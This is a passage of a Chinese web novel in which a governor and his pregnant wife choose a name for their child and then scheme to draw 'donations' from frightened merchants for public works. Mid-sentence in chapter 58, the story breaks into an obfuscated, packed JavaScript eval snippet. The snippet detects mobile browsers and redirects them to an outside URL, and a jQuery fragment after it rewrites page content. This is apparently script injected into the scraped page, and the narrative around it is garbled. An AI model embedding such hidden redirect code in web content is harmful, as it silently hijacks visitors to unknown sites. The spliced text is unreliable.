但是两人对着写好的名字,琢磨了三四天,迟迟没能定下。 夏知霜是觉得朗朗上口就行,他是想挑寓意好的字给第一个孩子,他初初拟定的哪个字会不好?不好他都不会写下来的好嘛! 于是选择困难症犯了,想选其中一个吧,没多久又觉得另一个更好,循环往复,愣是久久没挑出他认为最好的。 到最后,她对取名字都要失去热情了,举手提建议:“实在不行咱抓阄吧?” 刘宁默默看她不说话,她在他脸上看到了“怎么可以这么随便”几个字。 夏知霜打了个哈欠,困得不行,示意月樱扶她回房歇去,不奉陪了。 孩他爹选的字都不赖,她真心觉得选哪个字都没问题,叫什么名字都是她的宝贝孩子。 美美一觉睡醒,孩他爹终于下定决心了,喜闻乐见! 刘宁处理掉别的字,留下的“念”字火速裱好,该字由夫妻叠手所书,融合了两人的风格,灵秀飘逸,相得益彰。 他笑得特别开怀:“念字男女可用,我想好了,咱们的孩子不分男女,我一样珍视爱重。” 刘念……刘念。 夏知霜心里叫了几声这个名字,鼻尖忽然泛酸。 他很想念故去的父母兄弟吧?所有的思念和眷恋转而投注到孩子身上,恨不得把世上所有美好的东西都捧给孩子,如珠似宝的爱着护着。 那是另一种血脉亲缘的羁绊,她给不了,只有跟他血脉相连的孩子能稍微填补他的寂寥。 她温柔抚摸小腹。 有这么爱你的爹娘,你一定要平安出世啊,我们的宝贝。 58. 第 58 章 直至九月,刑场血流成河,牢狱塞满各家嚎哭的眷属。 刘宅和总督署门外求见的人络绎不绝,连鲁元和彩玉的宅子都不能幸免,从早到晚被一大堆人堵门。 傅春说,那二人已有好长时间不敢回家了,鲁元成天躲在总督署衙门,彩玉流连各大商铺和客栈,见他们一面难如登天。 因夏知霜手擎总督印,外面的人一致认为此番乱象出自她的手笔。 她扶着渐渐显怀的肚子,团扇轻敲桌案,飞过去一个嗔怪的眼神:“我算是替你背了黑锅了。” 刘宁伏案苦书,抽空停笔看她一眼,好气又好笑:“你呀,得了便宜还卖乖,外头哪个不说你好话?” 他们处置的这批人个个是黑心黑肝的奸商,断然没有无辜之辈。百姓对这类恶人无不痛恨,哪个出面惩治坏坯子,哪个得到潮涌般的赞颂。 官员不仅不会对此抱有怨言,反而愈发畏惧,生怕自己或亲属成为下一批阶下囚。 此举既得了钱财,又收拢了民心,还给官员紧紧弦,堪称一箭三雕。 这一招刘宁早就想使了,奈何他初上位那两年忙得晕头转向顾不上,于是憋到了现在,使出来后名声全归到夏知霜头上,夏知霜属实是摘了他的桃子。 他一脸“你恶人先告状”的无奈神情。 夏知霜翻了个俏丽的白眼,在他身旁落座,轻轻“哼”了下:“别以为我不知道,骂我的人还是不少。” 那些个乡绅士族私传她蛇蝎心肠,有些读书读傻了的呆头书生稍被煽惑,愤慨地痛骂妖妇乱政,顺带狠批刘宁色令智昏。 根据千丝台呈上来的情报,贡阳书院私底下传有好几篇话本,内容大同小异,皆是女子后掌权兴风作浪,以致国破家亡的小故事,意有所指再明显不过。 更有妲己亡商、玉环灭唐的暴论指桑骂槐。 书院的夫子严令不许学子乱写,但屡禁不绝。 大概是她此前都以“孝顺贤惠”、“温柔善良”等正面形象示人,如今她大开杀戒,跟往昔的名声大不相符,不明真相的书生觉得他们以前被蒙蔽了,认为毒妇人心才是她的真面目,是故攻击起她来毫不手软。 这其中,一部分人断定她心狠手辣不骂不痛快,一部分是跟风凑热闹,另一部分是带头搞事且肯定是被收买的人。 用头发丝都猜得出来是谁在背后推动,不外乎是刑犯的亲友,可能她曾经得罪过的官员也起到了推波助澜的作用。 好在书院山长明事理,没让不堪入目的文章外流,她的负面舆论控制在最小的范围内发酵,没闹出什么大风波。 作为被痛骂的另一位当事人,刘宁一笑了之。 他语气带着释然:“身处此位,无论做何事、说何话,注定不能讨好每一个人。”顿了顿,他又安慰说,“我初上任那会没少挨骂呢,你看,至今不是还有人骂我贪恋美色误了观东?” 他说着,故作风流地提笔抵在她下颌处,挑眉扮作浪荡子。 夏知霜顺从地抬起下巴,乖乖被调戏,就是眼神晶亮,斜斜凝他,媚得勾人,又透着难以驯服的矜傲,一点不像被风流恶霸采撷的柔弱女子。 倒像是讨上辈子情债来的。 他只被她瞄这一眼,心里就一团柔软,等会要写什么全然忘了。看来上辈子欠了她不少情债,这辈子是收他来了。 刘宁失笑收笔,哪里还演得下去,拉过她手背轻吻。 夏知霜移过去坐近点,半倚半靠他结实的肩背,团扇有一搭没一搭地轻摇,还记挂适才的话题。 她没有真动气,说到底,绝大多数的书生只是被人当枪使了,他们可能都不知道在做的事会给他们带去怎样的后果。 越是被坏人声讨和反对,越是说明她在做正确的事。 她忽然有了个主意,眼睛一亮,巴着他的肩探身说:“这么着吧,咱们坏人做到底,好好榨一榨富人的油水,总不能凭白挨骂一场不是。” 刘宁搁下笔墨,饶有兴趣,摆出洗耳恭听的架势。 夏知霜觉得,捞钱就要捞到底。 说到捞钱,怎么少得了收礼环节呢?哪个当官的没收过礼? 别人收不如自己收,富人不如富己。 他听罢叹气,表示不行,官员收礼是官员的事,刘宅和总督署不能收。 送礼的人不是冤大头,他们总有个图谋,舍官员一两,就要越过官员从别人身上赚回去十两。可想而知,那么大赚头的买卖不会是小事,被坑害的百姓只怕有冤无处申。 刘宁绝不会昧着良心干这种事,亦不能为了蝇头小利坏了总督署的名声。 哪怕是观淇首富陈氏最鼎盛时期送的大礼,前总督刘舒一概拒收,正是有前人苦心经营,刘氏的好声誉得以持续。 民心是刘氏在观东立足的重要支柱,尤其是内忧外患的今时,更加动摇不得。 “你别担心,我知晓轻重,不会坏了规矩。”夏知霜解释说,“别的官员是收进自己的裤腰带,我们是收到公库中,用到公众里去。” 幸存的富户现在必定战战兢兢,害怕也被衙门拷走用刑。以她对富商的了解,他们绝对急得像热锅里的蚂蚁,捧着大把的金钞银票想打通关系求个平安。 即使他们明知这次没有被波及,他们也不会就此安心,而是会未雨绸缪,散出去金山银山,多攀几根高枝,预防将来的危机。 他们不求下一次遇事有人能捞自己,旦求有一根高枝能顾念旧情,事发前给他们通通气就行,他们好早早打包细软逃到外地去。 在她还没嫁进刘家之前,她就是那样做的,有什么风吹草动就化身散财童子,想尽办法孝敬当地官员,别家富户同样是这么操作。 夏知霜是这么想的,这笔钱与其便宜各地官员,不如他们自己收入库中。 ——随便寻个由头,告诉外面他们开始收钱了,六神无主的富商门可不就如过江之鲫,前仆后继来拜庙门了么? 届时,钱财充入公中库房,每一笔“捐款”的明细对外公开,用到利民的工程里。 这样尽如人意的好事,保准没有人说三道四,皆大欢喜。 她说完后,和刘宁对视,他怔了怔,似乎没想到她会出这样的主意来。 鲁元经过重重障碍进到宅邸,听得她复述之言,故意不小心嘀咕出声:“果然无奸不商啊……” 狠狠赚了人家这一波钱,下一次该宰人家还是会毫不手软,自个却名利双收,一点污点都不沾身,周扒皮比起她来都是小巫见大巫。 鲁元再看夏知霜的眼神就是“瞧你个心肠黑得滴墨水的奸商”,看刘宁的眼神则是“我们可怜的高节清风的主君都被带坏了”。 小夫妻默契的忽略他复杂的眼神,当做没听到鲁元的排喧。 她抚摸肚子,温柔地说:“我身有不便,这件事全仰赖军师了。” 他捧着公文,温润如旧:“我不好出府,劳累世叔代为奔波了。” 鲁元:“……” 所以您二位不是来找他商量的,是来抓他壮丁的是吗?! 好好好,合着他们只负责出主意,一点力都不用出,白白就得了天大的便宜。 他这把老骨头这下不仅增加公务,要是干不好,很可能会担主责,这差事不好办啊! 夏知霜“好心”提议:“军师实在辛苦,要不,让吕大人或张大人协助?” 鲁元立马拒绝:“臣撑得住!” 刘宁腹中暗笑,也建议说:“若不然,别的公务放给底下之人,世叔专攻此事?” 鲁元登时否决:“臣忙得过来!” 开玩笑,一旦让底下的吕麟和张廷冒头了,今后可就难按下去了。 他可不想有人来分权,更不愿主君和夫人误以为他连这点事都做不好,他就是豁出晚节不保,死也要把这事漂漂亮亮的办下来。 鲁元一抹脸,迈着虚扶的脚步,既幸福又苦恼的出去办事。 两日后,一则重大消息在四郡流传。 云鹤真人夜观天象,四郡似有不详之兆,若想化解,需在宝地兴动土木,设立法坛祈福。 扶微观公布出来的法坛地点多达几十处,有的是穷乡僻壤,有的是深山老林,有的是风景如画却极难通行的乡镇。 建法坛做法事要花钱,特别是需要铺路架桥才进得去的地方,花费可就大了。 民间得到风声,先是忧心不详的天象,再琢磨总督署会不会支持扶微观建立法坛祈福的请求。 倒没几个人怀疑扶微观的占卜之术,那可是观淇九地第一道观,传说云鹤真人已接近半仙,求神问卜灵验得很。 继扶微观之后,有寺庙和道观接二连三卜算出相似的结果,这下百姓笃信不移了。 在民间讨论到最高''潮,纷纷呼吁官府表态的时刻,总督署张榜,同意搭楼设坛。 民众无不欢呼,前段时间因多次征丁带来的阴霾一扫而空,民心重归稳固。 ——总督署大局为重,刘氏一心为民。 百姓深信这一点。 他们认为是他们的意愿左右了官府的决策,没有哪个官府能爱民如子到这份上,他们拥立的总督没有辜负他们,他们为身为观东人而自豪! 一时间,刘氏夫妻的声誉再度拔高。 夏知霜和刘宁没有料到这一步,算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911886|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是意外之喜了。 她趁热打铁,叫人继续放出消息。 然后在食肆花街内,二三官员醉后胡言:“唉,铺路搭桥去做法场,还是几十处地,这不是乱来吗?府库空虚,如何支得起那般开销?” 有人附和:“我看多半是夏夫人的主意,主君也不拦着。” 另一人叹道:“民意如此,主君和夫人如何能拦?二位大人还是慎言得好。” 话到此,几人意识到酒后失言,忙岔开话题,一人劝这位大人喝酒,一人叫那位大人吃菜,酒席热闹非凡,就是再不提及公事分毫。 隔壁包间的人依稀听得片语,神色顿时微妙起来。 观东第一钱庄的东家冯行看向对座,小声试探:“赵兄,依你说,那边是几个意思?”他朝官员包间的方向抬抬下巴。 药商赵临专注看着酒杯,好像那普通的白瓷杯变成了稀罕古董,漫不经心回道:“某是行商到此,暂留里兴片刻,实是不知啊。” 装,装不死你,冯行对他的回答很不满。 赵临是丰瑛郡的富商,狡猾奸诈,消息颇为灵通,好几次躲过官府的剿查,不可能听不懂他的话。 冯行今日做东,是想跟赵临取取经,琢磨最近是该一切照旧,还是夹着尾巴做人尽量不惹官府的眼。再打听点小道消息,攀哪根高枝才站得稳当。 没承想,他们幸运的坐到了大官隔壁,无意中窃听得隐秘的消息。 既然对方不接茬,冯行便主动递话头,一通胡乱分析。 要说刘府缺银子花,他绝对不信,观东第一世族缺钱的话,四郡就没有富人了。可说总督署缺钱,他将信将疑。 观东一直在战乱和备战中度过,军费如流水,金窟银窟都经不住这么花。 加上去年历经洪灾,灾民在安置区的吃喝拉撒治全归官府管,一管就是大半年,官府还包揽了灾后重建工程,十几万灾民白得一个新家,这笔巨额花销可是天文数字。 听说要不是有陈记……哦,现在叫瑜记了。 要不是有瑜记全力支援,官衙早就崩了,那时灾民四处流窜,刘氏的名声怕是一落千丈。 而今官衙顶住了,可不就要从富人身上找补亏损的银子? 富人不是傻子,至少冯行不是,光凭官府把一个个财主送上断头台,他就猜到了衙门搞什么幺蛾子。 如果隔壁包间的消息是真的,那他就知道该怎么做了。观东最粗的高枝可不就是刘氏么,给谁送钱不是送啊,他们何必舍近求远? 冯行主要是号不准刘氏的脉,以往刘氏对送钱的人不屑一顾,他不敢乱敲门触霉头,刘氏不比别家,敲错了可是要丢脑袋的。 他跟赵临推心置腹,如此这般一说,仔细观察对方的细微表情。 赵临始终微笑,不接他的茬:“冯兄说得在理,看来里兴的水不是一般的深。某初来乍到,一事不通,多谢兄台提点了。” 冯行听得两眼发黑,几乎被气得吐血,强颜欢笑:“……赵兄喝酒,喝酒。” 什么初来乍到啊,你赵临来里兴还少吗?你不是在里兴还有产业么?还一事不通,你睁眼说瞎话蒙谁呢你?! 不过赵临要是痛快应和他的话,或是反驳他的话,冯行就要疑心里头有无内幕了。 酒过三巡,散席之后,冯行交代心腹:“盯紧赵家,无论事大事小,立刻回禀。” “是,老爷。”心腹带人走了。 隔两日,随从回来,说赵临在悄悄备礼,十分厚重,地契、粮库、钱庄票据装满一匣,珠宝什么的几大箱。 冯行忙问:“可知他给谁送?” 随从摇头:“小的跟着他的人,只知他们在密切关注总督署的动向。” 冯行的心落回了实处,得意的想:好你个姓赵的,在你老爷面前装糊涂,一回家还不是偷偷准备,打算先人一步递投名状?还好老爷我留了一手,险些被你小子糊弄了去。 赵临是个投机者著称的商人,他的敏锐直觉和消息渠道值得信赖,否则冯行不会选择请客招待他。 既然赵临作出了选择,冯行当然得跟上,而且他还要截胡,做第一个给总督署递投名状的人。 第一个才会被人深刻的记住! 他火急火燎的吩咐:“快快,收拾出一份礼单,比赵家厚三分。” 随从替他肉疼,提醒道:“老爷,那赵家掏得不少啊。” 虽是不少,但祭出去的那部分能保命啊,好歹剩下的能留着小命随时花销不是。 冯行咬牙挥手:“去,按我说的办。” 随从一步三回头,到门口见他还不改主意,这才麻溜去办事。